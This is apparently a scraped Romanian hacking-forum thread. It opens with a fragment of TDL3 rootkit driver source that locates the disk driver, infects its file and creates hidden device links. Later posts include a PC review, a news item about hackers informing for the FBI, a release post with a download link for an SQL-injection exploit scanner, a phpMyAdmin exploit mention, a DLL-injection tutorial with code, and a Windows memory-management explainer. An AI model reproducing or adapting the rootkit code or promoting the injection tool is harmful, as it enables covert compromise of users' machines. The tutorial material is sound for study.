for(dwContext=0;pdbiInfo[dwContext].ObjectName.Length!=0;dwContext++) { WCHAR wcDevice[]={L'd',L'e',L'v',L'i',L'c',L'e',0}; if((*(PDWORD)pdbiInfo[dwContext].ObjectName.Buffer=='R\0D\0') &&(_wcsnicmp(pdbiInfo[dwContext].ObjectTypeName.Buffer,wcDevice,pdbiInfo[dwContext].ObjectTypeName.Length/sizeof(WCHAR))==0)) { WCHAR wcFormatObject[]={L'%',L's',L'\\',L'%',L'w',L'Z',0}; HANDLE hVolumeDevice; IO_STATUS_BLOCK iosbStatus; ntsStatus=STATUS_OBJECT_NO_LONGER_EXISTS; _snwprintf(wcVolumeDevice,RTL_NUMBER_OF(wcVolumeDevice),wcFormatObject,wcSystemRoot,&pdbiInfo[dwContext].ObjectName); RtlInitUnicodeString(&usName,wcVolumeDevice); if(NT_SUCCESS(ZwOpenFile(&hVolumeDevice,FILE_READ_DATA|SYNCHRONIZE,&oaAttributes,&iosbStatus,FILE_SHARE_READ|FILE_SHARE_WRITE,FILE_SYNCHRONOUS_IO_NONALERT))) { PFILE_OBJECT pfoDriver; ntsStatus=STATUS_GRAPHICS_TOO_MANY_REFERENCES; if(NT_SUCCESS(ObReferenceObjectByHandle(hVolumeDevice,SYNCHRONIZE,0,KernelMode,(PVOID*)&pfoDriver,0))) { WCHAR wcFormatDriverPath[]={L'\\',L's',L'y',L's',L't',L'e',L'm',L'r',L'o',L'o',L't',L'\\',L's',L'y',L's',L't',L'e',L'm',L'3',L'2',L'\\',L'd',L'r',L'i',L'v',L'e',L'r',L's',L'\\',L'%',L's','.',L's',L'y',L's',0}; WCHAR wcPath[MAX_PATH]; HANDLE hDriver; GET_TDL_ADDRESSES->pdoDeviceDisk=((PDEVOBJ_EXTENSION_REAL)pfoDriver->DeviceObject->DeviceObjectExtension)->AttachedTo; while(((PDEVOBJ_EXTENSION_REAL)GET_TDL_ADDRESSES->pdoDeviceDisk->DeviceObjectExtension)->AttachedTo!=0) { GET_TDL_ADDRESSES->pdoDeviceDisk=((PDEVOBJ_EXTENSION_REAL)GET_TDL_ADDRESSES->pdoDeviceDisk->DeviceObjectExtension)->AttachedTo; } GET_TDL_ADDRESSES->pdoDriver=GET_TDL_ADDRESSES->pdoDeviceDisk->DriverObject; _snwprintf(wcPath,RTL_NUMBER_OF(wcPath)-1,wcFormatDriverPath,RtlOffsetToPointer(GET_TDL_ADDRESSES->pdoDriver->DriverName.Buffer,sizeof(L"\\driver\\")-sizeof(WCHAR))); ntsStatus=DriverInfect(wcPath,GET_TDL_ADDRESSES->pdoDeviceDisk,&hDriver); if(NT_SUCCESS(ntsStatus)) { WCHAR wcLinkDriver[]={L'\\',L't',L'd',L'r',L'v',0}; WCHAR wcLinkDevice[]={L'\\',L't',L'd',L'e',L'v',0}; HANDLE hLink; UNICODE_STRING usLink; SECURITY_DESCRIPTOR sdSecurity; RtlCreateSecurityDescriptor(&sdSecurity,SECURITY_DESCRIPTOR_REVISION); RtlSetDaclSecurityDescriptor(&sdSecurity,TRUE,(PACL)NULL,FALSE); GetEPNameOffset(); ntsStatus=((PTDLInit)RtlOffsetToPointer(GET_TDL_ADDRESSES->pvDriverCode,sizeof(TDL_SIGNATURE)+TDL_START_SIZE+(DWORD_PTR)TDLInit-(DWORD_PTR)TDLEntry))(hDriver); if(NT_SUCCESS(ntsStatus)) { RtlInitUnicodeString(&usName,wcLinkDriver); RtlInitUnicodeString(&usLink,RtlOffsetToPointer(GET_TDL_ADDRESSES->pdoDriver->DriverName.Buffer,sizeof(L"\\driver\\")-sizeof(WCHAR))); InitializeObjectAttributes(&oaAttributes,&usName,OBJ_CASE_INSENSITIVE,0,0); ZwCreateSymbolicLinkObject(&hLink,SYMBOLIC_LINK_ALL_ACCESS,&oaAttributes,&usLink); RtlInitUnicodeString(&usName,wcLinkDevice); RtlInitUnicodeString(&usLink,GET_TDL_ADDRESSES->wcFSDevice); InitializeObjectAttributes(&oaAttributes,&usName,OBJ_CASE_INSENSITIVE,0,&sdSecurity); ZwCreateSymbolicLinkObject(&hLink,SYMBOLIC_LINK_ALL_ACCESS,&oaAttributes,&usLink); ObfDereferenceObject(pfoDriver); ZwClose(hVolumeDevice); ntsStatus=STATUS_SECRET_TOO_LONG; } } } break; } } } } ExFreePool(pdbiInfo); } ZwClose(hVolumeDirectory); } } ZwClose(hVolumeLink); } } return ntsStatus; } EXTERN_C_END NT_END Sursa: http://www.hackhound.org/forum/index.php?/topic/38136-srctdl3-rootkit-driver/
  7. OS X Lion vs. Windows 8: Feature by Feature By Michael Muchmore Last October at an event on the Apple Cupertino campus called "Back to the Mac," the world got its first peek at the stylish tech firm's next desktop operating system, dubbed "OS X Lion." CEO Steve Jobs explained that the success of the company's iPad tablet was a major driver in adding features to Lion. More details were demonstrated at this year's WWDC. And just last week at D9, the world got its first peek at what the company has code-named "Windows 8," in a demo by Microsoft's Windows President, Steve Sinofsky. That operating system, too, it turns out, was heavily influenced by a smaller-form-factor OS—Windows Phone 7. But the similarities don't end at the two future desktop OS's mobile influencers. Both Lion and Window 8 will make heavy use of touch interfaces, but with a big difference, as you'll see in the slideshow below. Both will have an App Store, both have full screen app views, and both offer new ways to switch among and navigate within apps. There are, of course, important differences between Microsoft and Apple's overall OS strategies, as outlined by Peter Pachal in "Mac OS X Lion vs. Windows 8: Who Will Win the Post-PC World?" It all hinges on tablet support. Pachal points out that Apple is aligning its tablet and phone OSes, and keeping the desktop OS separate, though mobile-influenced. Microsoft, on the other hand, is creating one OS for tablets and desktops, while keeping the phone OS separate—for now, anyway. Microsoft may even have its ideas for a grand unified OS for all devices. Keep in mind that Lion, which is due for release next month, is much further along in the development process. Windows 8, on the other hand, isn't coming out until next year, so we haven't gotten as full a picture of the latter. Clearly, the tablet and mobile worlds have begun to impact the desktop OS in a major way. This begs the question: Can the desktop survive? Once you see all the powerful goodies these new system software heavyweights bring to the table, however, you'd be hard pressed to make a case for the irrelevance of the desktop computer. Click through the slideshow to see whether you disagree, and to see which looks better to you: Windows 8 or Apple's OS X Lion. Click here to See OS X Lion vs. Windows 8: Feature by Feature Slideshow > Sursa: OS X Lion vs. Windows 8: Feature by Feature - Slideshow from PCMag.com
  8. Un sfert din hackerii americani lucreaza pentru FBI de Dinu Boboc | 8 iunie 2011 Iata ca motanul Tom si soricelul Jerry se pot intelege. Cel putin atunci cand rolul lui Tom este jucat de autoritatile federale din SUA, iar cel al lui Jerry de infractorii cibernetici. Concluzia vine ca urmare a unui raport publicat de Guardian, potrivit caruia aproape un sfert dintre hackerii din SUA sunt informatorii FBI. Infractorii cibernetici ajung sa lucreze pentru FBI in clipa in care sunt prinsi si amenintati cu inchisoarea pe termen lung. Agentii federali le ofera posibilitatea de a scapa de gratii in schimbul furnizarii unor informatii secrete. Majoritatea hacker-ilor prefera astfel sa isi pastreze libertatea si sa isi puna abilitatile in slujba FBI-ului. Articolul din publicatia Guardian a aparut in contextul in care problema hacking-ului a devenit tot mai delicata, tot mai multe companii fiind afectate de acest flagel. De exemplu, in aprilie, Sony PlayStation Network, Qriocity si Online Entertainment au fost sparte, iar informatiile personale a peste 100 de milioane de useri au fost expuse. Celebrul grup Anonymous si-a concentrat recent eforturile pe Iran si a reusit sa dea publicitatii e-mail-uri ale oficialilor guvernamentali. Google a fost fortat sa anunte ca adresele de e-mail personale ale unor oficiali guvernamentali de top au fost tinta unor atacuri de tip phishing. Toate aceste actiuni au facut ca monitorizarea si prinderea hackerilor sa devina un obiectiv prioritar pentru agentiile guvernamentale. Ziaristii britanici au relevat chiar existenta unor burse in care hackerii fac schimb de informatii personale furate. Specialistii FBI au inceput sa caute pe forumuri si alte tipuri de comunitati online pentru a-i prinde pe infractori. Una dintre cele mai mari provocari ale FBI este cea a gruparilor anarhiste ale asa-numitilor "hacktivists", care au lansat atacuri asupra unor tinte care tin de securitatea nationala a SUA. Ultimul exemplu este cel al Lulz Security, care a lansat un atac chiar asupra unei divizii a FBI, InfraGard. Atacul a fost un protest fata de decizia Pentagonului de a considera ca atacurile cibernetice venite din strainatate sunt niste acte de razboi. Ideea ca hackerii ar putea trece de partea legii nu este deloc ceva nou. In 1995, Kevin Mitnick, unul dintre cei mai cunoscuti hackeri, a fost arestat pentru activitati infractionale in mediul online. Dupa eliberarea sa, in 2002, a devenit consultant pe probleme de securitate, luptand chiar impotriva celor care intreprind activitati de genul celor facute de el in trecut. Intr-un interviu acordat Cnet, in 2009, Mitnick i-a avertizat pe hackerii din intreaga lume, spunand ca ar trebui sa-si concentreze eforturile pe activitati constructive. "Nu-mi calcati pe urme. Cu siguranta, exista alte drumuri si alte moduri in care oamenii pot sa se autoeduce in legatura cu hacking-ul si securitatea pe internet. Astazi exista o piata uriasa", a declarat acesta. Mitnick i-a sfatuit pe hackeri sa nu incalce legea si sa nu lezeze interesele altor oameni sau companii pentru ca nu este ceva moral. Sursa: Un sfert din hackerii americani lucreaza pentru FBI | Hit.ro
  9. Cum ai putea sa renunti la ea? Nu te da batut! Lupta pentru ea! Nu o lasa sa iti scape! Fa tot ce iti sta in putinta si va fi a ta! PS: Eram ironic.
  10. Sql Poizon v1.1 - Sqli Exploit Scanner, Search Hunter, Injection Builder Tool Nu l-am descarcat, nu l-am incercat, nu stiu daca e infectat, executati pe riscul vostru. Greetings All, After a very successfull release of Sql Poizon v1.0, The Exploit Scanner Tool, I am hereby introducing you with the new release which is more handy. It has new features as well as bug fixes from the older release. Please take a look for it below: New Features: "Look n Feel" is more attractive now. Rich "Context Menu" items. "Results" contain checkboxes to enable selection. "Selected Dork" box is editable now for user convenience. Built-in Browser for "Injection Builder" to check the impact of injection. "Text Bucket" available for "Injection Builder" to save extra data. "Insert Order By" button is added to "Injection Builder". "Internet Browser" with Snapshot and HTML DOM Tree. Bug Fixes: It wont get stucked after pressing the stop button. Just a minor wait can occur which is okay. Progress bar for "Crawler" has been fixed. It will show correct progress now. Error on importing file is fixed now. You can import files from other directories as well. "Searchqu" shows invalid results. It is fixed now. Sql Poizon v1.1 - Sqli Exploit Scanner, Search Hunter, Injection Builder Tool Author: p0!z0neR Download: http://rapidshare.com/files/440158132/Sql_Poizon_v1.1_-_Sqli_Exploit_Scanner_Tool.rar Sursa: Hack Forums
  11. Nytro

    Fun stuff

    Japanese Inventions - r00tsecurity
  12. Din acest motiv? phpMyAdmin (/scripts/setup.php) PHP Code Injection Exploit
  13. Introduction to x86 Assembly Language Advantages of High-Level Languages Why program in Assembly ? Here is why... Speed, Efficiency, Debugging, Optimization... Why MASM ? Introduction to 80x86 Assembly Language Materials on the Web Useful books, in no particular order Fundamental Concepts Software Environment Runtime Environment M1.ASM Assembly and C Code Compared More Assembly and C Code Assembly vs. Machine Language Controlling Program Flow Conditional Jumps General-Purpose Registers Typical Uses of General-Purpose Registers x86 Registers x86 Registers, Cont x86 Control Registers MOV, Data Transfer Instructions Ambiguous MOVes: PTR and OFFSET INC and DEC Arithmetic Instructions ADD Arithmetic Instruction ADD vs. INC SUB Arithmetic Instruction SUB vs. DEC CMP instruction Unconditional Jumps Conditional Jumps Conditional Jumps, Cont Conditional Jumps, Cont LOOP Instruction Logical Instructions Logical Instructions, Cont. Shift Instructions SHL and SHR Shift Instructions Shift Instructions Examples Rotate Instructions ROL and ROR, Rotate Without Carry RCL and RCR, Rotate With Carry EQU directive EQU Directive Syntax Tutorial: http://www.c-jump.com/CIS77/ASM/Assembly/lecture.html
  14. Extending Task Manager with DLL Injection By rocky_pulley | 19 May 2005 Cod sursa: http://www.codeproject.com/KB/threads/taskex/taskex.zip Introduction This article shows how to extend the Windows Task Manager application by using DLL injection. There are plenty of articles already that show how to use DLL injection but this article is intended to show you what you can do with it. It also gives you some nice features for Task Manager. This application consists of three separate projects: TaskExApp This is an application that sits in the background waiting for instances of Windows Task Manager to popup. It loops through the top level windows every 1 second looking for instances. When an instance is detected, it will inject the InstallTaskHook DLL into the process. This application has a system tray icon that will show and hide the application dialog box when double-clicked. To end the process, just click the "Exit" button. InstallTaskHook This is a DLL that is injected into the Windows Task Manager application. On injection, it creates an extra menu on the application's main menu called "Extensions". In this menu there is a sub menu "Get Extended Info" which will display a dialog box of extended data for the application that is selected in the processes list. You must select an item in the processes list and the PID field must be visible for this to work correctly. TaskExHook This DLL is injected into the application by the Task Manager hook to get the extended information. Currently the only extra information that it gets is the command line parameter that the application was started with. The following extended information is given on the display dialog: Command Line The command line parameters that the application was started with. File The full path of the executable file. Modules All modules loaded by the application. It's important to note that when this application builds, the DLLs are copied to the System32 directory, this is so that they can be found by the Task Manager application. If they are not copied there then the application won't work correctly, so if it doesn't work, first check to see if these DLLs were copied correctly by the build process. Background I have done extensive work in the past with Windows hooks on many projects, that was my intent when I started this project as well. Then I found the method of using CreateRemoteThread to inject a DLL into a process. I decided to use this method both for a learning exercise and because this is only intended to work on Windows 2000 and XP anyway. The main reason that I created this application was that I constantly need to know the command line parameters of an application, especially java.exe. There are applications out there that show this, but I would like to just have it work from within Windows Task Manager. Screen shots This is the main application window, it's very simple. You can double click the system tray icon to hide it without exiting: Here are the menu items that are added to the Windows Task Manager application: Here is the dialog box that is used to display the extended information: A look at the code The code is fairly light-weight, here are some of the more interesting aspects of the code. From TaskExApp, here is how it installs the InstallTaskHook into the Windows Task Manager: void TaskExDlg::Install(HWND hWnd, DWORD pid) { m_taskManagers.insert(pid); HANDLE hProcess = OpenProcess(PROCESS_CREATE_THREAD | PROCESS_QUERY_INFORMATION | PROCESS_VM_OPERATION | PROCESS_VM_WRITE | PROCESS_VM_READ, FALSE, pid); if (hProcess != NULL) { HANDLE hThread; char szLibPath [_MAX_PATH]; void* pLibRemote = 0; DWORD hLibModule = 0; HMODULE hKernel32 = ::GetModuleHandle("Kernel32"); if( !::GetSystemDirectory(szLibPath, _MAX_PATH)) return; strcat(szLibPath, "\\InstallTaskHook.dll"); pLibRemote = ::VirtualAllocEx( hProcess, NULL, sizeof(szLibPath), MEM_COMMIT, PAGE_READWRITE ); if( pLibRemote == NULL ) return; ::WriteProcessMemory(hProcess, pLibRemote, (void*)szLibPath,sizeof(szLibPath),NULL); hThread = ::CreateRemoteThread( hProcess, NULL, 0, (LPTHREAD_START_ROUTINE)::GetProcAddress(hKernel32, "LoadLibraryA"), pLibRemote, 0, NULL ); if( hThread != NULL ) { ::WaitForSingleObject( hThread, INFINITE ); ::GetExitCodeThread( hThread, &hLibModule ); ::CloseHandle( hThread ); } } } The code for the InstallTaskHook to inject the TaskExHook is fairly similar, except that it also un-injects the DLL as well, the DLL is only there during the load process: std::string GetCmdLineData(DWORD pid) { HANDLE hProcess = OpenProcess(PROCESS_CREATE_THREAD | PROCESS_QUERY_INFORMATION | PROCESS_VM_OPERATION | PROCESS_VM_WRITE | PROCESS_VM_READ, FALSE, pid); if (hProcess != NULL) { HANDLE hThread; char szLibPath [_MAX_PATH]; void* pLibRemote = 0; DWORD hLibModule = 0; HMODULE hKernel32 = ::GetModuleHandle("Kernel32"); ::GetSystemDirectory(szLibPath, _MAX_PATH); strcat(szLibPath, "\\TaskExHook.dll"); pLibRemote = ::VirtualAllocEx( hProcess, NULL, sizeof(szLibPath), MEM_COMMIT, PAGE_READWRITE ); if( pLibRemote == NULL ) return "Failed to get command line information...\r\n\r\n"; ::WriteProcessMemory(hProcess, pLibRemote, (void*)szLibPath,sizeof(szLibPath),NULL); hThread = ::CreateRemoteThread( hProcess, NULL, 0, (LPTHREAD_START_ROUTINE) ::GetProcAddress(hKernel32, "LoadLibraryA"), pLibRemote, 0, NULL ); if( hThread != NULL ) { ::WaitForSingleObject( hThread, INFINITE ); ::GetExitCodeThread( hThread, &hLibModule ); ::CloseHandle( hThread ); //Now uninject the DLL using FreeLibrary... ::VirtualFreeEx( hProcess, pLibRemote, sizeof(szLibPath), MEM_RELEASE ); if( hLibModule != NULL ) { hThread = ::CreateRemoteThread( hProcess, NULL, 0, (LPTHREAD_START_ROUTINE) ::GetProcAddress(hKernel32, "FreeLibrary"), (void*)hLibModule, 0, NULL ); if( hThread != NULL ) { ::WaitForSingleObject( hThread, INFINITE ); ::GetExitCodeThread( hThread, &hLibModule ); ::CloseHandle( hThread ); } } } CloseHandle(hProcess); return "Command Line:\r\n\t" + std::string(g_szCmdLine); } return "Failed to get command line information...\r\n\r\n"; } This code sets the debug privileges so that the application can inject in all other applications: void GetDebugPrivs() { HANDLE hToken; LUID sedebugnameValue; TOKEN_PRIVILEGES tp; if (::OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken)) { if ( !::LookupPrivilegeValue( NULL, SE_DEBUG_NAME, &sedebugnameValue ) ) { ::CloseHandle( hToken ); } tp.PrivilegeCount = 1; tp.Privileges[0].Luid = sedebugnameValue; tp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; if ( !::AdjustTokenPrivileges( hToken, FALSE, &tp, sizeof(tp), NULL, NULL ) ) { ::CloseHandle( hToken ); } ::CloseHandle( hToken ); } } Here is where the InstallTaskHook DLL actually creates the menu items and subclasses the main window to capture the menu events: BOOL APIENTRY DllMain(HANDLE hModule, DWORD ul_reason_for_call, LPVOID lpReserved) { if( (ul_reason_for_call == DLL_PROCESS_ATTACH) ) { EnumWindows(EnumProc, GetCurrentProcessId()); if (g_hWnd) { char sz[256]; SetWindowText(g_hWnd, "Extended Task Manager"); HMENU hMenu = GetMenu(g_hWnd); int numMenus = GetMenuItemCount(hMenu); HMENU hCheck = GetSubMenu(hMenu, numMenus - 1); GetMenuString(hMenu, numMenus - 1, sz, sizeof(sz), MF_BYPOSITION); if (strcmp(sz, "Extensions")) { HMENU hPopup = CreatePopupMenu(); AppendMenu(hPopup, MF_STRING, 2112, "Get Extended Info"); AppendMenu(hMenu, MF_STRING | MF_ENABLED | MF_POPUP, (UINT_PTR)hPopup, "Extensions"); //Subclass the window with our own window procedure. wndProcOriginal = (WNDPROC)SetWindowLong(g_hWnd, GWL_WNDPROC, (LONG)(WNDPROC)FilterProc); DrawMenuBar(g_hWnd); GetDebugPrivs(); } } } return TRUE; } Issues For some reason, some times the Windows Task Manager application will freeze during the injection process. It doesn't happen very often so it's hard to debug. When this does happen, just bring up another instance of Task Manager and kill the previous instance. If anyone can figure out why this happens, please let me know. Also, the application was only tested on Windows XP, but it should work on 2000/XP/2003. Conclusion I hope that this article gave you a good idea on how you can use DLL injection to your advantage. Being able to control another application can give you a lot of power on the system and allow you to make simple modifications to a large application without needing the code for that application. I would also like to acknowledge the Winspy article for introducing me to the CreateRemoteThread method of DLL injection. Sursa: Extending Task Manager with DLL Injection - CodeProject
  15. Windows Memory Management What is Windows Memory Management? - Overview Microsoft has, as of operating system versions Vista SP1 and Windows Server 2008, implemented new technologies, for both resource allocation and security. Several of these new technologies include the Dynamic Allocation of Kernel Virtual Address Space (including paged and non-paged pools), kernel-mode stack jumping, and Address Space Layout Randomization. Basically, the allocation of resources are not fixed, but are dynamically adjusted according to operational requirements. The implementation of these new technologies such as Address Space Layout Randomization are mostly due to the hacker threat of an advanced knowledge of the location of key system components (such as kernel32.dll, ntdll.dll, etc), and are partly due to the Window’s goal of using memory allocation more efficiently by allocation on an as needed basis. In order to understand these new technologies better and be able to use them as a developer, device driver writer, or system’s administrator, this paper will focus on the Windows Memory Manager prior to Vista SP1. How Does the Windows Memory Manager Work? The purpose of this paper is to therefore give a conceptual understanding to those who have struggled with memory management as a whole and to explain why these newer technologies have evolved. It will start with a general view of the Windows Memory Manager, to get more specific as to how Windows manages used and unused memory. To illustrate how memory works, tools from the TechNet SysInternals web sites will be described for memory leaks. The paper will conclude with a brief description of paging lists. The OS Maps Virtual Addresses to Physical Addresses. Because the virtual address space might be larger or smaller than the physical memory on the machine, the Windows Memory Manager has two first-in-rank responsibilities. The first is to translate, or map, a process's virtual address space into physical memory so that when a thread is running in the context of that process reads or writes to the virtual address space, the correct physical address is referenced. The second one is paging some of the contents of memory to disk when it becomes overcommitted. That is, when running threads or system code try to use more physical memory than is currently available-and bringing the contents back into physical memory as needed. One vital service provided by the Memory Manager includes memory-mapped files. Memory-mapping can speed-up sequential file processing due to the fact the data is not sought randomly, and it provides a mechanism for memory-sharing between processes (when they are referencing the same DLL, as there must be only one instance at a time of any DLL. Most virtual pages will not be in physical memory (RAM), so the OS responds to page faults (references to pages not in memory) and loads data from disk, either from the system swap file or from a normal file. Page faults, while transparent to the programmer, have an important impact on performance, and programs should be designed to minimize faults (again, if the data was stored in register, this would prevent reading data from a file on disk or locating data stored in memory to then read that data to write to the system memory address bus connected to the CPU). The wizards from SysInternals contend that the concern is not that there is one process that is hard page faulting, but rather a collection of them hard page faulting. This hard page faulting causes the system to thrash and is a clear indication the system needs more memory. Dynamic memory allocated in heaps must be physically in a paging file. The OS’s memory management controls page movement between physical memory and the paging file and also maps the process’s virtual address to the paging file. When the process terminates, the physical space in the file is deallocated. Windows provides an illusion of a flat virtual address space (4GB), when in reality, there is a much smaller amount of physical memory. The hardware memory management unit of today’s microprocessors provides a way for the OS to map virtual addresses to physical address and it does this in the granularity of a page. The Windows Memory manager implements a demand paged virtual memory subsystem which is another way of saying that it is a lazy allocator. In other words, if you launch an application such as Notepad, it does not launch the entire application and appropriate DLLs into physical memory. It does so as the application demands: as Notepad touches code pages, as it touches data pages, it's at that point where the memory manager will make a connection between virtual memory and physical memory, reading in contents off disk as needed. In short, it is a common misconception that the memory manager reads the entire executable image off of the disk. An example of this can be illustrated using process monitor and setting the filter to something that has been run since a reboot, say, solitaire. After launching solitaire, solitaire is on the disk. Solitaire, as it starts up, is causing page faults, reading pieces of its own executable off of the disk on demand. When you stop the logging of the trace-gathered information and look, you will see an example of a process, sol.exe, reading sol.exe: it is reading itself, faulting itself onto disk. As features of Solitaire are used, you will see sol.exe reading various DLLs, as those DLLs are being virtually loaded -- only the pieces being read are being loaded. Another component of the Windows Memory Manager is memory sharing. For instance, if you have two instances of Notepad, the common misconception is that there are two copies of Notepad and associated DLLs loaded into physical memory. The Windows memory manager will recognize that is a second instance of Notepad, an image that already has pieces of it in physical memory and will automatically connect the two virtual images to the same underlying physical pages. The important part of process startup and applications can take advantage of that and share memory. On 32 bit Windows, 2 GB for each process (user), and 2 GB for the system. Just like applications need virtual memory to store code and data, the operating system also needs virtual memory to map itself, the device drivers that are configured to load, and also to store the data that is maintained by the drivers and the OS (kernel memory heaps). Tools that indicate memory usage often show virtual memory, physical memory, and the working set. The virtual memory counter does not offer a lot of information when troubleshooting memory leaks; virtual memory is used to map the code and data of an application, and an amount that is kept on reserve; that is, most virtual pages will not be in physical memory, so the OS responds to page faults (references to pages not in memory) and loads data from the disk. Therefore the virtual memory counter is not effective when troubleshooting. The private bytes counter indicates the number bytes of private memory that is private to a process -- it cannot be shared with another process. For instance, if you launch Notepad and start typing in text, no other process is interested in that data, so it is private to that process. What About Memory Leaks? How do we determine if we have a memory leak and if so, how do we further determine if it is a process leaking the memory, or if it is in kernel-mode, etc. In Task Manager, there is a memusage counter that is often used to trace source of a leaker. But the memusage counter does not actually indicate the private virtual memory for the process. The private bytes counter in task manager would actually be the virtual memory size. This misleads many who would assume that the virtual memory size would indicate that this is the amount of the virtual address space allocation. For reasons such as this, it is better to gather data by using Process Explorer, a freeware utility written by Mark Russinovitch. This tool uses a device driver to extract all of the relevant system information applicable to the version of Windows that you are running and contains a colorful and itemized display of processes, thread activity, CPU usage (perhaps by threads running that are not accounted for that are consuming CPU clock cycles), and all of the other needed counters available in the actual Windows Performance Monitor counters. Three columns needed, particular to this context, are the private bytes, the private delta, and the private bytes history counters that can be found in the “select columns” choice of the View menu tool bar. Process Explorer shows the “process tree” view in order to reveal which processes are running as child processes under the control of a parent process. The differences are reflected in the colors shown in the logic of the user interface. Pink colors indicate service host processes (svchost.exe) that run off of the Services.exe process. The light blue color shows the processes that are running under the same account as the user, as opposed to a SYSTEM or NETWORK account. The brown color shows processes that are call jobs, which are simply a collection of processes. These counters can be dragged and dropped to show the private bytes column next to the private bytes delta (in which if a negative number pops up means that a process is releasing memory), and the private bytes history. If there is a process leak, it will not be related to the Task Manager memusage counter. The private bytes, the private bytes delta, and the private bytes history, are counters that can be set to examine private virtual memory to determine if it is a process is leaking memory. A case in point is that a process can be using an enormous amount of virtual memory, but most of that could actually not be in use, but kept on reserve. But the private bytes history counter column shows you a relative comparison of private bytes usage in a process with respect to all other processes running in the system. To examine this, download the SysInternals tool TestLimit.exe (or TestLimit64.exe if it is a 64 bit system you're running).The ‘m’ switch on this tool will leak the amount of specified private bytes every one half a second. That is, if you type c:\windows\system32> testlimit –m 5 you are leaking 10 MB of private bytes per second. With Process Explorer open and the private bytes, the private bytes delta, and the private bytes history (a weighted graph indicated by the width of the yellow) counter columns in view, you would see a growth in the cmd.exe process that would depart from a flat yellow line and approach a thick yellow line in the private bytes history counter column. The private bytes delta column would not show a negative sign to the left of any numerical figure, but only a positive number to indicate that it is not releasing any memory. Control-C the testlimit program and the memory is recycled back to machine. What would happen if we did not Control-C (terminate) the process? Would it have exceeded the amount of virtual address space allocated? It would, in fact, be stopped sooner than that by reaching an important private bytes limit called the “commit limit”. The system commit limit is the total amount of private virtual memory across all of the processes in the system and also the operating system that the system can keep track of at any one time. It is a function of two sizes: the page file size(s) (you can have more than one) + (most of) physical memory. The amount of physical memory that the operating system assigns to each process is called its working set. Every process starts out with an empty or zero-sized working set. As the threads of the process begin to touch virtual memory addresses, the working set begins to grow. When the operating system boots up, it has to decide how much physical memory will be given with respect to each process, as well as how much physical memory it needs to keep for itself to both store cached data and to keep free.So the sizes of the working sets of individual processes are ultimately determined by the Windows Memory Manager. The Windows Memory Manager monitors the behavior of each process and then determines the amount of physical memory based on its memory demands and paging rates. In effect, the Windows Memory Manager decides if a process needs to grow or shrink, while trying to satisfy all of these process’s demands as well as the demands of the operating system itself. The above would indicate that application launching would be a time-consuming operation. As of Windows XP, Windows introduced a mechanism to speed up application launching called the logical prefetcher. Windows monitors the page faults (recall that during application start-up, the process reads itself, faulting itself, reading pieces of its own executable, off of disk on demand) during application start-up, and further defines the start-up as the first ten seconds of an application's activity. It saves a record of this information in a prefetch folder that resides in the Windows directory. Deleting these files would only harm system performance because these .pf files were written by a system process and the data was extracted from the kernel. So in terms of the working set, the Task Manager shows this working set with the memusage counter. Process Explorer shows the current and peak working set numbers in a separate counter. The peak working set is the most physical memory ever assigned to a process. Windows automatically shares any memory that is shareable. This means the code: pieces of any executable or DLL. Only one copy of an executable or a DLL is in memory at any one time. This also includes an instance Terminal Server. If several users are logged on and they are using Outlook, one copy of Outlook is read off of disk (or the demanded pieces of it) to be resident in memory. If one user starts using other features of Outlook, they are read off on demand. If a second user starts using those same features, they are already resident in memory. This apart from parts of the executable and the DLLs, file data is also shared. To reiterate, it is not the memusage or the working set counters that are of help in memory leaks. The working set will grow, and then the Memory Manager will decide that it has gotten too big and shrink it. A quick fix is to sometimes add more memory. If one process is “hard page faulting”, that is not an indication that the system needs more memory, although there is a performance impact. If a collection of processes begin to excessively hard page fault, then this is a clear indication that the system needs more memory. Why memusage Working Set Columns are not Memory Leaker Indicators If the working set keeps growing and it reaches a point, the Windows Memory Manager will block that growth because it has decided that this working set is too big, and there are other consumers of physical memory. If, at this point, the process begins to leak virtual memory but is not physically using any more memory, the Memory Manager begins to reuse the physical memory to store new data that it might be referencing through the newly allocated virtual memory. The working set is growing as the threads are touching virtual address spaces and the process is touching different pages that have been brought into the working set; at some point the Memory Manager says enough to that process; that there others that need just as much as you do. So as a process requests a page, the memory manager takes away a page, and, obviously takes the oldest pages away first. That is, pieces of the working set that have not been accessed for the longest time are pulled out. When those pages are pulled out, they are not overwritten, zeroed out, or destroyed, because they do represent a copy of data that was once being used by this process. So Windows keeps those on several paging lists. To understand the performance counters so as to use them and determine if your system needs more physical memory, it is necessary to delve into the internals of how the Windows organizes the memory that is not currently owned by a process. This is memory that is not in a working set. The way that the Windows Memory Manager keeps track of this is that it keeps track of this unassigned memory in one of four paging lists. These unowned pages are organized by type: Free page list Modified page list Standby page list Zero page list It is necessary to start out with the modified and standby page list first. When the Memory Manager pulls a page out of a process's working set, it is pulling out a page that the process may still need. It may have to be reused by that process; it may (being on the standby or modified page list) represent code or a DLL of an image and be reused by another process. The list that the page goes to depends on whether or not the page has been modified or not. If the page gets written to, then the Memory Manager has to ensure that the page gets written back to the file that it came from. That file might be a file that came from disk, such as a data file that is mapped into the process's address space. If the process modifies that page and it gets removed from the processes working set, then the Memory Manager has to make sure that page makes it back to that file on disk that was being modified. If the file has been modified but does not represent data mapped into the virtual address pace, then it may represent private data to that process that it might want to use again. Pages that have not been modified go to the standby list. The modified page list is called the "dirty" list and the standby page list is called the “clean" list. After pages have been written to disk, those pages move from the modified list to the standby list. The pages on the modified or standby list that are brought back into the working set are called soft faults -- not paging file reads or mapped file reads -- because there is no disk I/O. If the data being referenced is no longer in memory because it is back on the file on disk or back on the paging file, then the system would incur a hard fault and have to do a paging read operation and bring it back into memory. The free page list doesn't exist when the system boots and only grows when private memory is returned to the system. Private memory would be a piece of a process address space such as a buffer that contains the text that you have typed into Notepad. When Notepad exits, whether you have saved that data or not, the memory inside the Notepad process address space that contains that private memory is returned to the free list. For example, if you launch Notepad and start typing text, that data is not usable by any other process. The keystrokes are buffered; so other process is interested in that data saved or not. So that memory is returned to the free page list. Private process memory is never reused without first being zeroed.This free page list is where the Memory Manager goes when it needs to perform a page read. When a page fault is occurring, the Memory Manager is going to an I/O that is going to overwrite the contents of the page completely. So when the Memory Manager has a page fault and it needs to find a free page to read a piece from the file in from the disk, it goes to the free list first (if there is anything there). When, however, the free page list gets to be a certain size, a kernel thread called the zero page thread is awakened (this thread is the only thread that runs at priority 0). Its job is to zero out those dirty pages so when Windows needs zeroed pages, it has them at hand. References The Sysinternals Video Library: Troubleshooting 